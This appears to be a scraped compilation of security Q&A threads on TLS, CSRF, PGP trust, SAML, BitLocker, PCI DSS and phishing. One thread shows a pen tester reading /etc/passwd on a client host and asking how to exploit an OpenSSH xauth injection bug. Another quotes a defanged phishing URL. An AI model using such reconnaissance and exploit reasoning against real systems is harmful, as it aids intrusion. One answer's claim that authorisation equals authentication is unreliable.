I am using Hola Unblocker to hide my IP address. This appears to work when I go to netflix as the site treats me as a US resident (which I am not).
This however does not work when I go to:
https://www.crashplanpro.com/business/signup.html

They seem to be able to figure I'm not from the US.
I am wondering how they accomplish this? Is there any way to circumvent this method and protect my privacy? Does it matter what type of VPN I'm using?

Most companies have lists of VPN IP's and will block them to prevent users from outside the country to use their services. So they probably can't "see" you are using a VPN, but the recognize the IP and block that.


is it possible to extract a "hint hash" of some kind from another hash? I'm a web developer starting to dip into cryptography so please bare with me on this...

Let's say I have a collection of hashes that were generated from some common data i.e. changes to multiple records. Is there a way that I could generate a secondary hash from the main hash and compare it to the other hashes based on how the main hash was generated. For example...

plain text             | hash      | hint hash
----------------------------------------------
"USER:123:fName:Alice" | 92eb5ff.. | 3cd24
"USER:123:fName:alice!"| 1c77753.. | 3cd24
"USER:456:fName:Bob"   | fee6ae2.. | 7d28e
"USER:456:fName:bob!"  | 7775315.. | 7d28e
"USER:789:fName:Carl"  | fec3ad7.. | 75315

Notice how all hashes are unique but the hint hashes match up to the record IDs they are hashed from. So if I generated these hashes based on the plain text and some key i.e. genHash(plainText, keyText). If you only had the hashes, you could associate which hashes are related to each other by their hint hashes only. So if I only had the hashes, I could still find their associations with a couple getHintHash(hash) calls...

Table of hashes:

hash
---------
92eb5ff..
1c77753..
fee6ae2..
7775315..
fec3ad7..

Table of hashes with hint hashes:

hash      | hint hash
----------------------
92eb5ff.. | 3cd24
1c77753.. | 3cd24
fee6ae2.. | 7d28e
7775315.. | 7d28e
fec3ad7.. | 75315

Now I have the relationships between the unique hashes without exposing the plain text that generated them. Is this possible? Remember, the hashing function got the plaintext and a key that the "hint hash" could be based off of...

genHash("USER:123:fName:Alice", "USER:123") -> 92eb5ff..

You want a scheme where, given only the hash values, you can compute whether two hashes refer to the same user or not. This is a rather complex question, so it has a rather complex answer. First, let's make sure we all agree on terms:

Def'n: Hash:

  A hash function is any function that can be used to map data of arbitrary size to data of fixed size. [wikipedia/Hash_Function]

For example, initials are a perfectly valid hash function (John Smith --> JS, Christina Secretmessagewriter --> CS), although it's no good for cryptography because it doesn't do much in the way of hiding.

Def'n Cryptographic Hash:

  A cryptographic hash function is a mathematical algorithm that maps data of arbitrary size to a bit string of a fixed size (a hash function) which is designed to also be one-way function, that is, a function which is infeasible to invert. [wikipedia/Cryptographic_Hash_Function]

If you click on "one-way function" and go far enough down the rabbit hole you'll find out that cryptographic hashes have to be indistinguishable from random, meaning that if I gave you two hashes, there is no way to gain any sort of information whatsoever about whether the two inputs are related (another googlable term for this is "avalanche effect").

So, by definition, what you want is at odds with the very idea of a cryptographic hash function - the goal of which is to prevent any information leakage.

Depending how much you care about information leakage, the answer can go on.

What you are asking for is to embed the hash hint inside the overall hash in such a way that it can be extracted again. There's no real security here because if you can do it, so can an attacker who knows your system, but let's explore it anyway.

One way to accomplish this would be to hash the USER:123 and fName:Alice parts separately and concatenate them to make your overall hash. Your "hash hint" is then just the first half of your overall hash (or first N chars if you use different size hashes). It meets the requirement that getHintHash(hash) will extract the hash hint from the overall hash, and it allows you to corrolate related record together without actually exposing the plaintext.

You could do something more complex by inventing your own non-cryptographic hash function that spreads the hint out over the massage rather than sticking it on the front (maybe through some clever math or using a trick from the stenography bag of tricks), but it's not clear what that gains you.

At the end of the day, you might gain some security-through-obscurity and you might be able to compress your hash a little smaller, but it's really equivalent to concatenating two hashes.


How are public/private keys used in code? I have a question about public key encryption.

Say I have a string: "Hello, everyone."

If I am choosing to use a cipher to encode/encrypt this by just shifting the letters around X places, it is easy to figure out what the key is due to things in the english language like LL, OO, etc.

Taking a key into consideration, which could be a string or a number or whatever else, how does this incorporate into the code I'm writing to make my plain-text string encrypted in such a way that it isn't possible to discern patterns in the encrypted text?

You are using the term "cipher" with the meaning it had up to, say, 1860. While this would be quite appropriate in case of a quick chat with queen Victoria, it so happens that Science has advanced a tiny bit since these times.

Your question is is rather broad since it is, mostly: "that field of cryptography which has occupied thousands of researchers for more than four decades, well, how does it work ?". This cannot be answered within the size constraints of this site. Well, I can tell that "it works pretty well" but, beyond that, you are in need of some introductory material on cryptography. For instance, this book, which is not bad, as far as these things go.


Sniffed SSL/TLS decryption : handshake necessary? I read some topics where people claim to be able to decrypt SSL/TLS communications just by having the private key of the recipient.

But, I recently learned that a public key can, but should never encrypt something longer than the length of the associated private key. For instance, if the peer has a 2048 bits private key, it should never encrypt something longer than 255 bytes + NULL character. If one encrypts something longer than this, it would become vulnerable to attacks such as blocks cutting, redundancy analysis, etc. (I'm not expert in this domain, sorry for bad vocabulary).

That said, RSA handshake consists, in fact, in an exchange of public keys, followed by a secured exchange of an AES key, which is then used to encrypt all communications without any length cap. So RSA based exchange is only used at the handshake moment.

So, is this AES key exchange a part of the SSL/TLS protocol, or some servers will just never communicate with packets longer than their private key's length ?

If ALL SSL/TLS communications are done this way (AES thing), that means that to be able to decrypt packets, one needs to capture the handshake to decrypt the AES key, and if he doesn't, then having both private keys is just useless, right ?

But, that would also mean that having only one private key would be enough to decrypt the AES key, and therefore the whole communication. So, such a communication should involve 2 AES keys, one for each peer, right ? Then, just like an RSA exchange, A would encrypt packets with B's key, and vice versa.

What applies in real life ? Packets length limit or AES based communications ? One or two AES key(s) ?

Thank you to help me understand ! And sorry but english ain't my main langage.

Best regards.

That said, RSA handshake consists, in fact, in an exchange of public keys, followed by a secured exchange of an AES key, which is then used to encrypt all communications without any length cap. So RSA based exchange is only used at the handshake moment.

There is no RSA handshake but a TLS handshake. And there is usually no (bidirectional) exchange of public keys but in most cases only the server will provide a certificate which includes a public key.

The TLS handshake includes a key exchange which is usually either RSA key exchange or DH key exchange. With RSA key exchange the client will create some random secret, encrypt it with the servers public key (taken from the certificate) and send it to the server.  The server then can extract this secret using its private key. The encryption key for the symmetric encryption (which can be AES but also something else) is then created based on this shared secret. This means with RSA key exchange only the private key of the server is needed to decrypt the sniffed traffic.

Note that modern implementations prefer to use DH key exchange. In this case knowing the servers private key will not help in decrypting the traffic. Instead the shared secret from this specific session is needed.

For a deeper understanding of TLS I recommend to study How does SSL/TLS work?.


networking and security I'm trying to pick up networking security within a reasonable amount of time. I'm not specifically looking to learn about all the little tools that are available (although I do want to know about relevant linux configuration tools), but I do want a solid foundation in networking to the point where I can have a conceptual grasp of what's going on (how protocols, DNS, DHCP and ALL these things interact) and be comfortable analyzing packets. By a reasonable amount of time I mean 25 days or so. Is this feasible?

I'm trying to find resources, but books on networking inevitably start going into a lot of details on the protocols. I'm not sure if it's an effective use of my time to learn every single protocol. But maybe it is? I don't know.

Can someone offer advice or good resources?

Maybe reasonable was a bad word.

Yes, this is feasible, but you will need to study intensively.

I have some recommendations that may help in learning this material:

Learn about TCP/IP.  I recommend TCP/IP Illustrated, by Stevens, but any other network book may be a fine alternative.  Anotehr useful textbook may be Computer Networking: A Top-Down Approach by Kurose and Ross.  Make sure to learn about how things like IP, TCP, UDP, DNS, HTTP, DHCP, and ARP work.
Learn about firewalls.  I recommend Firewalls and Internet Security by Cheswick, Bellovin, and Rubin.  This is an outstanding book that will teach you about more than just firewalls.  In the process of learning about firewalls from these authors, you will also learn how to think like a security expert, and you will learn a variety of security risks associated with computer networks.
Learn how to configure a firewall.  I recommend learning how to set up a IPTables firewall.  Don't just read about it; install Linux on your machine and write the IPTables firewall rules to build your own firewall.  Experiment and learn how to do it yourself.  This kind of hands-on knowledge will be very valuable.
Learn how to use Wireshark.  Spend some time analyzing packet capture dumps and reading through them to understand everything you see.  Play around.  This will give you some great hands-on knowledge.
Learn about how HTTPS (SSL/TLS) works.  There are many sources that explain it well.
Learn about the Kaminsky attack on DNS.  It is educational.  I recommend these two articles: Reliable DNS Forgery in 2008: Kaminsky’s Discovery and An Illustrated Guide to the Kaminsky DNS Vulnerability.
Learn about network intrusion detection systems (NIDS).  They are a good tool to know about.
Read Steve Bellovin's paper A look back at Security Problems in the TCP/IP Protocol Suite.


Bachelor's degree transcript (Marks Sheet) and Certificate Watermarking Earlier, I  mistakenly wrote that question in academia.stackexchange.com. Now pasting the same question after someone told me that its relevant to this forum.

I am from Pakistan and considering to move to a country of good academic standards to pursue a masters degree. I came across a fellow Pakistani who is in USA for some time now and also manages a facebook group about students who are in USA and who want to move to there for further studies. I also asked him to guide me according to my profile as to what are my chances with my current profile and he asked to email him my transcript.

So what should be the proper way to send the documents to anyone? Will watermarking be enough? What details should I hide?

Watermarking your resume or transcript doesn't protect you from serious threats. I'm not familiar with the the content of transcripts from Pakistan but in the USA they do not contain government IDs which would be one of the pieces need to full assume someone's identity.

If I were you, I would reach out to universities I want to attend and work with them directly. Universities have advisers that can give you the information you need and give you feedback on your transcript. I advise you to send your transcript directly to a university over a random facebook group admin.


CSRF by manipulating HTTP headers from client side using JavaScript I am trying to do CSRF vulnerability analysis for my website. My website uses an anti-CSRF-token which is sent by the server to the client with the session cookie and then Javascript in the client scrapes it out of the cookie and attaches it as a separate XSRF-TOKEN header to send back to the server.

I tried CSRF attacks on an XSS vulnerable form on my website from BurpSuite by generating CSRF PoC after intercepting the request, saving it in an html file and opening that file in a new tab with an active session in another tab. I found that the browser is not able to send the XSRF token automatically but it does for all the cookies and other headers.

I want to know if it is possible to create a new or manipulate the existing XSRF-TOKEN header from the client side using a script and send it with the request. Or if there is any other way to forcefully send the XSRF-TOKEN header or any other way to carry out the CSRF attack?? As of now, the only vulnerability I know of is that I am able to open my website in an iframe from other domain.

JavaScript from another domain cannot manipulate or read content from your domain, even in an IFrame, due to the Same Origin Policy. Therefore the attack scenario you describe is not a risk as this is not a vulnerability.

Bear in mind that Double Submit Cookies has other vulnerabilities. See this answer.

A way of circumventing CSRF protections is for an attacker to use Clickjacking instead. To prevent this make sure that your site cannot be framed using the X-FRAME-OPTIONS header and Content Security Policy's frame ancestors directive.


Kerberos IIS Authentication over HTTP I've reviewed the RFCs and am pretty familiar with Kerberos.

It seems to me that over a non-encrypted link (HTTP), Kerberos doesn't leak the user's password (or hash based challenge/response like NTLMv1/v2) and/or is susceptible to a reply attack.

In a properly designed implementation of Kerberos, is HTTP authentication considered secure over a non-encrypted link?

Kerberos authentication on HTTP will encapsulate Kerberos ticket inside a SPNEGO token and will not expose user credentials. Replay attack is stopped by authenticators. But there is a possibility to do a active MITM attack where you would prevent server from receiving captured authenticator. Please see this paper for more details.


Is it okay to sign a PGP key without an IRL meeting? [PGP] can get paralyzed by excessive analness.
  — Phil Zimmermann

Preamble

I am in the process of building my own web of trust. That is, I want people (PGP users…) to be—fairly—sure that, by using my public PGP key, they are actually communicating with the real me (which can be achieved by checking who signed my public key, and if they seem trustworthy, then I could be too).

When my [public] key will have enough trusted signatures, my own signatures on other people’s keys will have much more sense. Bad-case example scenario: I sign Mallory’s (a bad guy) key, then one year later, my key is signed by, say, a Debian maintainer (a very trusted guy). If that guy is trusted and signed my key, then it means I am trusted too; and if I am trusted too, it means that Mallory is trusted too, right?

Question

I sign other people’s public keys with the following GPG command (on Linux):

gpg --ask-cert-level \
    --cert-policy-url http://diti.me/pgp/ \
    --sign-key 0xFFFFFFFE

The above command enables me to sign the 0xFFFFFFFE key with a policy URL (giving out info about how I verify and sign the keys) and allows me to choose:

How carefully have you verified the key you are about to sign actually belongs
to the person named above?  If you don't know what to answer, enter "0".

   (0) I will not answer. (default)
   (1) I have not checked at all.
   (2) I have done casual checking.
   (3) I have done very careful checking.

The question is: Can I sign, with level 3, the key of a friend I have been knowing for several years? Needless to say I trust him (& his seriousness in keysigning), and would still perform careful checking (extended questioning, adding a TXT field in his domain name’s records, and so on?).

Phil Zimmermann wanted people to use PGP, not simply geeks. I want to avoid what he calls “excessive analness,” whilst still being considered as a serious person (for the web of trust matters). As such, I would like to mix the two together: to simplify the verification process for friends whose I can accurately verify the identity and key, while not breaking my WoT.

Hopefully my question and concerns make sense.

In the end, you can sign whoever you want to. There's nobody to control you and nothing to check what you're doing (and how you're doing it).

I would consider signing a well-known (to me) person's key valid, if I can be sure I'm receiving his key untampered over a secure channel. If you're totally sure to be able to recognize his voice or make some other check it's the right person (eg. by asking questions only he is able to answer on the phone), I'd be fine with signing a key this person sends me over this established trustworthy connection (eg. by speaking it into the phone). I'd not be fine with signing a key found on a keyserver (everybody can upload keys for arbitrary UIDs, have a look at all the president's keys) or received in an unsigned (without a signature by another already trusted key) e-mail.

Trust in Identity

When you give a "sig3" on your friend's key by using the gpg sign command, you certify you're (pretty) sure he really is the person he pretends to be using his UIDs. When the Debian maintainer signs your key, he's certifying that you are the person you're pretending to be.

That's all for now. Neither you nor the Debian maintainer made any statement on whether they trust in your capabilities (or your friend's) to carefully perform key signings.

The signing policy you mentioned can help others to decide on how they put trust in the signatures you issued.

Trust in the Person's Capabilities and Motives ("Vouching")

If you're sure that your friend is capable of reliably signing other keys, you can put another kind of trust on his key using gpg trust. Using this, you can order GnuPG to regard the signatures issued by your friend as if they're issued by yourself.

This information is only valid for yourself; it is neither included in keyservers nor otherwise exported keys:

  A key's trust level is something that you alone assign to the key, and it is considered private information. It is not packaged with the key when it is exported; it is even stored separately from your keyrings in a separate database. (from the GnuPG manual)

Having (multiple) trust paths ("identity signatures", the kind of trust I explained first in this answer) to some unknown can be read as hint everything should be fine, but remember you're trusting everybody in the trust chain right now. Most of the people are honest and well-capable of performing valid signatures, but haven't you ever been perceived by somebody you wouldn't have expected it of? If somebody really has a reason to fraud you, he might be able to somehow get a chain of trust on some weird paths.

There is an excellent article about trust in OpenPGP: There's Trust and Then There's Trust and Then There's Trust.


OpenSSH login to a system account While doing a routine pen test for a client I came across a box that had OpenSSH 7.2p1 running.

Through a Google search I figured out this vulnerability with the above OpenSSH version

I went in to investigate it further. I was able to understand some of the details of the vulnerability and the exploit itself. However, I need help understanding some more things.

I have a basic understanding of how exactly does SSH work. This is a resource that is very much in sync with the understanding that I have.

Now investigating the issue further, from what I understand is that on the server X11Forwarding yes is required in the sshd config file. Because I have SSH access to the box, I verified that this condition was met.

Next my understanding about it is that an account with the shell set to /bin/false or a user account with forced-commands is needed to be able to demo the exploitation itself.

Also, additionally, the above user must already be authenticated. (Is this understanding correct?)

So I went in the box and tried to see if there is any such user that meets the above conditions.

I did a cat /etc/passwd | grep /bin/false and it pulled up a list of users that had their shell set to /bin/false. One of these users was the user named mongodb, that had it's home directory set to /home/mongodb and also was protected by a password as indicated by the x in the passwd file.

I read about mongodb installation and came to know that it gets installed with its own user.

Now somethings that I need help with understanding :

What is the use of this mongodb user? I looked thorough /home and could not find a home directory for this user despite that it was mentioned in the passwd file.
How and when does this user get authenticated?
Is there any way that when this user authenticates with the system, it can be leveraged to exploit the OpenSSH authenticated xauth command injection bug?

Please pardon my less understanding of Linux users or SSH and let me know if there are any resources that would help me understand these basics better.

Unix systems typically have many user accounts for system purposes, used for a particular system service, e.g. to run a particular daemon. The processes that provide that service run as that user, the data files manipulated by the service are owned by that user, and the configuration files are readable by that user (but normally not writable: root, i.e. the system administrator, owns the configuration files). This mongodb account is a bog-typical case: it would own the MongoDB database files.

Home directories are not really useful for most system users. For human users they determine where applications look for configuration files, but that's not a concern for system users that only run a specific program that doesn't read per-user configuration files. The home directory is also where the SSH server looks for the user's authorized keys, i.e. additional credentials that grant access to the account, but most system users shouldn't be logged into and so won't have SSH keys. Sometimes the home directory is a system directory (e.g. under /var), sometimes it's /, sometimes it's a nonexistent directory, it doesn't matter.

System users may or may not have a valid shell as their login shell. Having a valid shell such as /bin/sh allows things like su mongodb but in many cases this isn't necessary and the login shell is set to a program that does nothing, such as /bin/false, /bin/true or /usr/sbin/nologin. This serves as an extra layer of defense if some other part of the configuration is botched and allows the user to log in.

Most ways to access a user account run the user's login shell, including SSH (but also su, cron, etc.). Normally, with the shell set to /bin/false, even if you managed to log in over SSH, you wouldn't be able to run anything. The bug you found, CVE-2016-3115, is due to OpenSSH running the X11 cookie injection (calling xauth) before it runs the user's login shell.

But to exploit this bug, you'll first need to pass the first layer of defense and log in to the mongodb account. This should not be possible: the account has no authorized public keys since its home directory doesn't exist, and it should not have a password. Having x in the password column of /etc/passwd does not indicate that the account has a password; it's probably the case for all the accounts. It means that the password hash, if there is one, is in /etc/shadow.


Does a company need to follow some methodology (e.g. Scrum) to be PCI DSS compliant? Does a company need to follow some development methodology (e.g. Scrum) and keep records of the development process (e.g. spring backlogs, product backlogs) to be compliant?

Can it become compliant with only bug- and vulnerability-fixing documentation?

Note: Not a QSA, just have some PCI experience

The Requirement you are interested in is 6 - "Develop and maintain secure systems and applications"

The short answer is no - you cannot be compliant with just documentation of vulnerability and bug fixing.  You must document policies for (probably not a complete list) :

vulnerability finding procedures
vulnerability assessing procedures
vulnerability information assessing (ie, who do you trust about vulnerabilities)
third party patching - ie, that you apply security patches in an appropriate timeframe
that you have "industry-standard" development processes (this isn't prescriptive as to what you need, but you must demonstrate you have a standard that is at least as informative as scrum or the pmbok or kanban or what have you)
that information security is included throughout the lifecycle (basically, you are worrying about security at design time, at implementation time, at testing time, at rollout time and during maintenance/operation of the software)
that all these processes and policies are written down and known by all developers
that you have policy to prevent dev accounts and data from reaching prod
that you have policy to ensure that one person can't write and promote the code (must have two sets of eyes on every change)
that you have policy ensuring that code review checks that all code meets secure coding guidelines
that management examines code review artifacts and signs off that appropriate review was done
that dev and test environments are different than production, with separate access controls
that controlled information from production isn't used in development
that software change controls are robust and documented
that changes are reversible
that all developers understand/have been trained on the OWASP Top Ten mitigations and other standard secure code techniques / information
that you scan public facing web applications regularly with scanning software

Wow. That got longer than I expected.

tldr; no - you need to do much more than document your bug and vulnerability fixing.


Why not oAuth for Authentication - AKA what is bad about OpenID Connect I read many questions and answers on this forum stating that oAuth is for authorization, OpenID is for authentication and more than a few of them goes on to say that OpenID Connect provides authentication by abusing oAuth authorization.

Why the derogative tone?  There is a very strong implication that this is bad, but I have not found any explanations for this, and while I understand the difference between authentication and authorization, I don't understand where anybody would use authorization without authentication, or more accurately, without attributability.

Actually that's not true, if I try I can think of situations where attributability is not important, but that won't work for my situation:  I'm working on an online service which will allow registrations from users using FB, Twitter, Google+ and probably LinkedIn for authentication.  The Front-end applications (web based and mobile, potentially controlled by third parties) should from my understanding use oAuth for access to the API/back-end services on a user's behalf.

For example, if I get a request from a front-end mobile app or a web site to access a user's messages, maybe like:

https://api.example.com/en/messages/userXid&filter=unread

I would need to know that the user signed into the application or web-site is not just authorized to read the messages resource, but that it is in fact the user who may read that specific mailbox.

But I digress, so: Is OpenID Connect bad somehow?  I've seen the Wikipedia diagram ... can someone please explain what is wrong with that picture?

I'm ultimately trying to figure out what are all the pieces of the puzzle to create an architechture where:

a) Users register on the back-end and are authenticated via
    OpenID / Google / FB / etc
  b) Users access the service via an independent front-end, eg a
    mobile app or web-site
  c) Different users have different roles (Eg Staff and Customers) and
    can not access each other's personal or sensitive data
  d) It is a multi-tenant service, so Staff from company A could
    actually be customers of company B and Company C!

FWIW: Some things that I've seen, which helps to confuse/clarify things for me:

oAuth 2.0 provides Authorization
The page above says oAuth is meant to provide authorization without
sharing identification; then how is attributability achieved?
OpenID Connect uses oAuth 2.0 and provides authentication
The page mentioned above states that oAuth 2.0 was designed to support
development of Authorization AND AUTHENTICATION PROTOCOLS
Does OpenID Connect then provide both Authentication AND Authorization?

Difference Between OAUTH, OpenID and OPENID Connect in very simple term?

Well this was on the side navbar.

It's like this:

If you are authorised to do activity A, you must possibly be the owner that can do activity A. Therefore you must be owner. Authorisation = Authentication. Whereas you could be authenticated but not authorised.


Use Personal certificate without a key with Firefox We have a website that authenticates the user using a certificate. The certificate is installed by the IT department and I can't export it with the private key.

When I navigate the website with Chrome or MS Edge they prompt me to choose the certificate I want to use. I assume they query the Windows certificate storage for that. The Firefox doesn't "see" that certificate.

How can I use the certificate authentication with Firefox?

If you want to use a certificate installed in the Windows certificate store you need some kind of connector between the CryptoAPI provided by Windows and the PKCS standard used by Firefox.  One example is P11CAPI that was originally intended for smartcards but should work for any installed certificate in the Windows certificate store.

Once you download the DLL that matches the bitness of Firefox you use follow the instructions in the above link (paraphrased in part below) to use the Windows certificate store in Firefox:

  Inside Firefox, go to Options → Privacy & Security → Certificates → Security Devices → Load
  Enter a module name (I recommend "p11-capi") and browse to the .DLL file.
  Click OK enough times to close out the various dialogs that have been opened.

Edit: From v72 on: "Experimental support for using client certificates from the OS certificate store can be enabled by setting the preference security.osclientcerts.autoload to true."


Specify Location of Certificate Signing Requests in OpenSSL Configuration File? Does the OpenSSL req command have a OpenSSL configuration file equivalent to the ca command's new_certs_dir option?  I'd like to establish a default directory for all Certificate Signing Requests ("CSRs") that are created using the req command.

Such functionality is not there - and it is not needed: contrary to ca the req command creates exactly the files as given on the command line. So the easiest way is to use absolute path with req and creating a wrapper script around it which sets the directory part for these absolute path based on your preference.


Help me with my BitLockered drive (forgot 3 digits from the password, lost the recovery key) I secured D drive partition of my laptop
But I lost the recovery key
I still have the password but lost 3 digits from it

Is there a way that I can recover the data?
Also will the drive "resist" in any way if I try the 999 combinations one by one?

There isn't much you can do other then trying to remember very hard what these 3 digits are. There is no known way to circumvent BitLocker in general. If you type in a wrong password several times, the system will report the "Too many PIN entry attempts" error message and then your only chance is the recovery key.

While I understand that you might find this regrettable, one should also not forget that this sort of security is the whole point of BitLocker.


Secure way to store openconnect password? I'm running OpenConnect on my MacOS (10.11 El Capitan) box to access my university VPN servers which run Cisco AnyConnect.  The Cisco AnyConnect app has a clunky GUI which doesn't store the password and requires you to enter it each time -- and it likes kicking you off the system with regularity. With a random long-length password, entering it each time is obviously a pain in the neck.

So right now, I start up my VPN session using the alternative, OpenConnect, by piping it the password through a shell script:

#!/bin/sh
echo 'mypassword' | sudo openconnect --config ~/.openconnect myuniversity.edu

But obviously I'd prefer not to have my password stored in cleartext. My harddrive is encrypted and I do suppose that any BadGuy® who is able to read a file in my home folder is capable of much more malicious things, but still...

Is there any to store the password? Ideally, I'd like the password to be stored in my MacOS Keychain and for the keychain to pass it to openconnect, but I'm unsure whether that's doable from the CLI.

p.s. Obviously if I could convince my university to either not use Cisco or to use a more secure cryptographic method than a password, I would.

RoboKaren,

There are many possible answers, but here are what I would consider the "top four".

(1) If you absolutely must use OpenConnect and CLI, then maybe the "best" solution would be for you to create a small encrypted disk image in your home folder.  You would then manually mount that disk image whenever you needed a VPN session and refer to that in the CLI (the usual /Volume/... syntax).  Keys for disk images can be stored in Keychain (although that would sort of remove the point of what you're trying to protect against !)

(2) If OpenConnect has a GUI, you could just use that in conjunction with a good password manager (assuming Openconnect has no storage mechanism)

(3) Switch to different VPN software, I don't want to make any recommendations but equniux VPNTracker is very popular, otherwise NCP is another well known name.

(4) If your VPN supports two-factor authentication, maybe look at that.


ESET warns: Skype attempting to communicate with unknown remote computer I am frequently getting warnings from my ESET firewall, like that pictured below, that Skype is attempting to communicate over SSL with a remote computer that has an untrusted certificate:

The remote computer is always a different host.  I don't ever know or recognize the remote computer, and I am very alarmed at this.  Does anyone have an explanation for this?

Yes, be alarmed. It looks like something injected into Skype is trying to communicate with an untrusted server in Ukraine. There's no reason for Skype to be doing this normally.

A bit of investigation on the domain returns this information:

domain:     pakko.ua
admin-c:    PC226-UANIC
tech-c:     IMENA-UANIC
status:     OK-UNTIL 20131123175521
dom-public: NO
license:    43288
nserver:    ns1.imena.com.ua
nserver:    ns3.imena.com.ua
nserver:    ns2.imena.com.ua
mnt-by:     IMENA-UANIC (ua.imena)
created:    0-UANIC 20041123175521
changed:    IMENA-UANIC 20121011174615
source:     UANIC

nic-handle:     PC226-UANIC
organization:   Pakko Corporation
address:        Klima Savura 21
address:        Lutsk Ukraine
fax-no:         +380332 78 94 39
phone:          +380332 78 94 94

A quick search for "Pakko Corporation" returns a limited liability company in Ukraine:

Address:
21а, Savura str., c. Lutsk, Volyn reg., 43005, Ukraine
Telephone:
+38(0332) 78-91-90, 78-94-89
Web-site:
http://www.pakko.ua

They list their employee count as between 50 and 100. A bit more digging finds a previous employee on LinkedIn and a bit more info.

So it looks like a legitimate company, but I don't fancy going on their website to work out what they do. I'd guess that their site has been compromised and is now being used as a command and control server.

I'd guess you've got some sort of malware that has injected a thread into Skype, since it's a program that's usually allowed to communicate with the network. Since your machine is likely compromised, my recommendation is to nuke it from orbit and start over.


How an IDP sends SAML assertion to an SP? I'm new to security concepts. I am studying how SAML works and I'm confused about how IDP sends SAML assertion to SP. I searched on the internet and I found out two scenarios are possible.
First is when you authenticate to an IDP, the IDP sends the browser a SAML file and the browser will use it as a token to authenticate to SP.
Second is when you authenticate to an IDP, the IDP sends the SAML file to all of the SPs and then SPs know you and you can use them.
I have two questions. First How exactly SAML file is sent from IDP to SP??? And when user authenticates to an SP in this manner who gives authorization to the user???

Typically the user (whose identity is the thing in question) authenticates to the IdP using a web login form in a browser (or something like that involving sending credentials over HTTPS). The IdP returns a SAML message to the user's browser in the HTTPS response body, or possibly in a Location (redirect) header. The browser then sends an HTTPS request to the SP, passing the SAML either in the URL (query string, usually a GET request) or in the request body (usually a POST request). The SP then verifies that the SAML is from a trusted IdP and hasn't been tampered with.
At this point the SP knows the user's identity. The SP uses this to determine what services / resources the user is permitted (authorized) to access. The SP also often gives the user it's own session token (possibly a JWT) for ongoing access, rather than continuing to use the SAML.
If the SAML was conveyed via the URL, it is essential that it be single-use (or at least expire extremely quickly), as URLs are less secure than HTTP message bodies due to frequently ending up in logs, etc.


Phishing Gmail account I received a mail from a friend who I was playing together in a multiplayer game. And it had a link to phishing page which would ask to login to view the file that the sent me. And my antivirus found it as a threat. I inspected the page it is a perfect template for phishing scam.

hxxp://www.katiavale.com.br/fujitsu/note/index.html

I want know when I am logged inside Gmail and if I click a link is there some way to access Gmail session data containing my authentication details using JavaScript even if I didn't do anything other than click on the link.

According to VirusTotal, Sophos anti-virus seems to be the only one yet to consider this page as malicious. However, as you correctly analyzed it, this page is a blatant phishing attempt.

Your browser would normally not let a page, even a malicious one, get any information of what is going on in the other tabs. The only exception is when a page delivers some malware which will either exploit a browser vulnerability or install itself in your computer (well beyond browser's control reach).

Here, at a first glance this page's goal doesn't seem to infect you with any malware but just to collect you credential for various systems. So, as long as you did not filled any of its fake authentication forms, then I consider you should be safe.


Why is it (considered) more secure to enter a password in an authentication/identity service instead of custom app login? I'm developing an app that will require users to authenticate via their Azure AD account. Customer would like a branded, custom UI, including the login screen. The current library for Azure AD authentication is MSAL.js. Using this library, the recommended flow is that users are redirected to the Microsoft login page (I guess just like they would be to Facebook or Google authentication services) and must enter their password in there if they're not already logged.

According to this, it is possible but not secure or recommended to ask the user for a password in a custom login screen, what I can understand. But why exactly is it safer to ask the user to enter the password in Microsoft sign in portal (or Google, FB, etc.) instead of directly in the app, assuming the app would not store it and would encrypt communications to acquire the token?

Is it really safer? Not really. In fact if your app was perfect or at least as thoroughly tested and reviewed than browsers are for the login script part, it would just be as safe on a technical point of view. I assume that your app is correctly written, but what about the tests and reviews point?

Because the most important point here is attack surface. Users have to give their passwords through the browser, so attacks against the browser are a possible vector for capturing passwords. But for any other app that would ask for the password, another possibility of attack.

Another point is user education. Security specialist try hard to educate users that a password is highly sensitive data that should only given to well known and securely identified services. The browser is a well known vector. Whether your app can be depends on its usage: the more often it is used by a user, the best candidate.

So you are left with the good old cost/benefit ratio. What are the additional features or cooler UI elements for having the app manage the password? Do they balance the surface attack increase, and the user stress to give the password in another screen? If the answer is yes, just proceed. Else refrain.


Storing anti-CSRF token in cookie I generate a random anti-CSRF token per session and store it in a cookie (with the http_only flag set). Then I add that token to forms (in a hidden input field) and links.

When receiving a request on the server, I check that the cookie and the anti-CSRF token field of the form or link exist and that the two values are the same; if not, it is considered a CSRF attack and the request is rejected with a proper message.

Is this mechanism safe/sufficient as a minimum? (That is to say, in the absence of security holes in the browser.)

I think that an attacker can't read or set the cookie of a domain that he doesn't own, so he can't forge a request that has the same token.

You say "session" - do you have a server-side session? If so, why not put the CSRF token in the session instead of a client-side cookie? That's the normal pattern; it prevents an attacker being able to use their own generated CSRF token value against another user in the case where they have cookie fixation.

Another similarly watertight approach not needing an extra cookie, if you don't have server-side storage, is to create a value including the user or session ID and sign it using a MAC (typically HMAC) with a server-side secret. The server can then verify that the token in the form came from the user whose session it is.

  attacker can't read or set the cookie of a domain that he doesn't own

Well, probably... usually. Ways that cookie injection tends to happen (other than XSS in which case you already lost much worse):

browser bugs, outdated "generic domain" tables/rules etc
vulnerable neighbour domains (eg set cookie on www.example.com from test.example.com)
allowing your site to be served from an attacker domain (always check the Hostname: is a recognised-good domain name)

These are typically marginal issues but they depend on factors potentially outside your control as an application author. So for security-sensitive systems it's generally a good idea not to rely on your cookies being unfixatable.


Hardening network infrastrucure? I would like to know, what are the best hardening methodologies, procedures, and books to use when hardening your network? Especially for the following:

Windows /Linux Server
SQL server
Microsoft Information Services (IIS)

Your question is a bit vague, however I have used a VM called Network Security Toolkit (NST) that you can read abou and download from here: http://networksecuritytoolkit.org/nst/index.html
NST does a lot so I reccomend loading up a virtual machine and play, er I mean test it out and see how much of your concerns that it could cover. :-)

With your SQL DB and application is it explosed to the web, if so then how. What logging measures and precautions are currently being taken? Is the application wide open to be accessed from any IP? Do you want to limit specific Geographic traffic? Encryption being used in any way on the network, if so how?

Have you been able to identify what kind of attacks are coming from where? If so what are they?


Tracking stolen laptop which has a login password I have been reading about solutions that track your computer in case of missing. Since I'm using Ubuntu 12.04, the best option would be prey for me, but I'm open to other suggestions.

The question is not about WHICH one, it's about WHETHER they work. I have a password to login into my user account. How would you make your laptop secure against theft, both the hardware and data, and make it recoverable?

The way I see it, I can either protect my information (encrypted home partition with login password) OR attempt to recover my laptop (geolocation, wifi, webcap pictures etc), but each option excludes the other.

Is there any other option that you know?

It all depends who steals your laptop. If its running Linux and the thief can't use it,  then it's not going to be switched on, and prey will be useless. The attacker is just going to install Windows and sell it on eBay.

